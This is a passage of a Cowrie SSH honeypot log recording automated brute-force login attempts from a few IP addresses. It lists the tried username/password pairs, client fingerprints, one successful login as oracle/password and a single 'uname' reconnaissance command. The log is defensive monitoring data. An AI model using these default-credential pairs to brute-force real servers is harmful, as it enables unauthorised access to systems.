S":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:08.850038Z","src_ip":"5.196.136.131","session":"a8f90f1c13cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:09.090994Z","src_ip":"5.196.136.131","session":"a8f90f1c13cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":43518,"dst_ip":"10.17.0.5","dst_port":22,"session":"44ce926cca03","protocol":"ssh","message":"New connection: 162.214.159.200:43518 (10.17.0.5:22) [session: 44ce926cca03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:09.569261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:09.573179Z","src_ip":"162.214.159.200","session":"44ce926cca03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:09.664189Z","src_ip":"162.214.159.200","session":"44ce926cca03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atomic456","message":"login attempt [root/atomic456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:09.930950Z","src_ip":"162.214.159.200","session":"44ce926cca03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:10.172419Z","src_ip":"5.196.136.131","session":"a8f90f1c13cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:11.614280Z","src_ip":"162.214.159.200","session":"44ce926cca03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":65063,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c9be4b82931","protocol":"ssh","message":"New connection: 5.196.136.131:65063 (10.17.0.5:22) [session: 4c9be4b82931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:13.194139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:13.197524Z","src_ip":"5.196.136.131","session":"4c9be4b82931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:13.284444Z","src_ip":"5.196.136.131","session":"4c9be4b82931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:13.545101Z","src_ip":"5.196.136.131","session":"4c9be4b82931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:14.634987Z","src_ip":"5.196.136.131","session":"4c9be4b82931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":17964,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c6bc553bc6f","protocol":"ssh","message":"New connection: 5.196.136.131:17964 (10.17.0.5:22) [session: 6c6bc553bc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:17.531331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:17.535115Z","src_ip":"5.196.136.131","session":"6c6bc553bc6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:17.609893Z","src_ip":"5.196.136.131","session":"6c6bc553bc6f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:17.836802Z","src_ip":"5.196.136.131","session":"6c6bc553bc6f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:18.033990Z","src_ip":"5.196.136.131","session":"6c6bc553bc6f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:18.036232Z","src_ip":"5.196.136.131","session":"6c6bc553bc6f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:18.114891Z","src_ip":"5.196.136.131","session":"6c6bc553bc6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:18.119236Z","src_ip":"5.196.136.131","session":"6c6bc553bc6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.176.205.111","src_port":53312,"dst_ip":"10.17.0.5","dst_port":22,"session":"19a1f4ac9701","protocol":"ssh","message":"New connection: 74.176.205.111:53312 (10.17.0.5:22) [session: 19a1f4ac9701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:19.039023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:19.042897Z","src_ip":"74.176.205.111","session":"19a1f4ac9701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:19.210368Z","src_ip":"74.176.205.111","session":"19a1f4ac9701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2021!!!","message":"login attempt [root/unitedstates2021!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:19.714028Z","src_ip":"74.176.205.111","session":"19a1f4ac9701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:20.883375Z","src_ip":"74.176.205.111","session":"19a1f4ac9701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":23378,"dst_ip":"10.17.0.5","dst_port":22,"session":"79debdbe67b0","protocol":"ssh","message":"New connection: 5.196.136.131:23378 (10.17.0.5:22) [session: 79debdbe67b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:21.990879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:22.100065Z","src_ip":"5.196.136.131","session":"79debdbe67b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:22.190520Z","src_ip":"5.196.136.131","session":"79debdbe67b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:22.418561Z","src_ip":"5.196.136.131","session":"79debdbe67b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:23.497050Z","src_ip":"5.196.136.131","session":"79debdbe67b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":56476,"dst_ip":"10.17.0.5","dst_port":22,"session":"95c56ad5f4a2","protocol":"ssh","message":"New connection: 5.196.136.131:56476 (10.17.0.5:22) [session: 95c56ad5f4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:26.430755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:26.434158Z","src_ip":"5.196.136.131","session":"95c56ad5f4a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:26.521680Z","src_ip":"5.196.136.131","session":"95c56ad5f4a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:26.772666Z","src_ip":"5.196.136.131","session":"95c56ad5f4a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:27.858693Z","src_ip":"5.196.136.131","session":"95c56ad5f4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":19970,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7cd0555093c","protocol":"ssh","message":"New connection: 5.196.136.131:19970 (10.17.0.5:22) [session: c7cd0555093c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:30.802003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:30.805801Z","src_ip":"5.196.136.131","session":"c7cd0555093c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:30.883411Z","src_ip":"5.196.136.131","session":"c7cd0555093c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:31.119033Z","src_ip":"5.196.136.131","session":"c7cd0555093c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:32.198649Z","src_ip":"5.196.136.131","session":"c7cd0555093c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":50317,"dst_ip":"10.17.0.5","dst_port":22,"session":"623db81fec2a","protocol":"ssh","message":"New connection: 5.196.136.131:50317 (10.17.0.5:22) [session: 623db81fec2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:35.296029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:35.302683Z","src_ip":"5.196.136.131","session":"623db81fec2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:35.378930Z","src_ip":"5.196.136.131","session":"623db81fec2a","protocol":"ssh"}
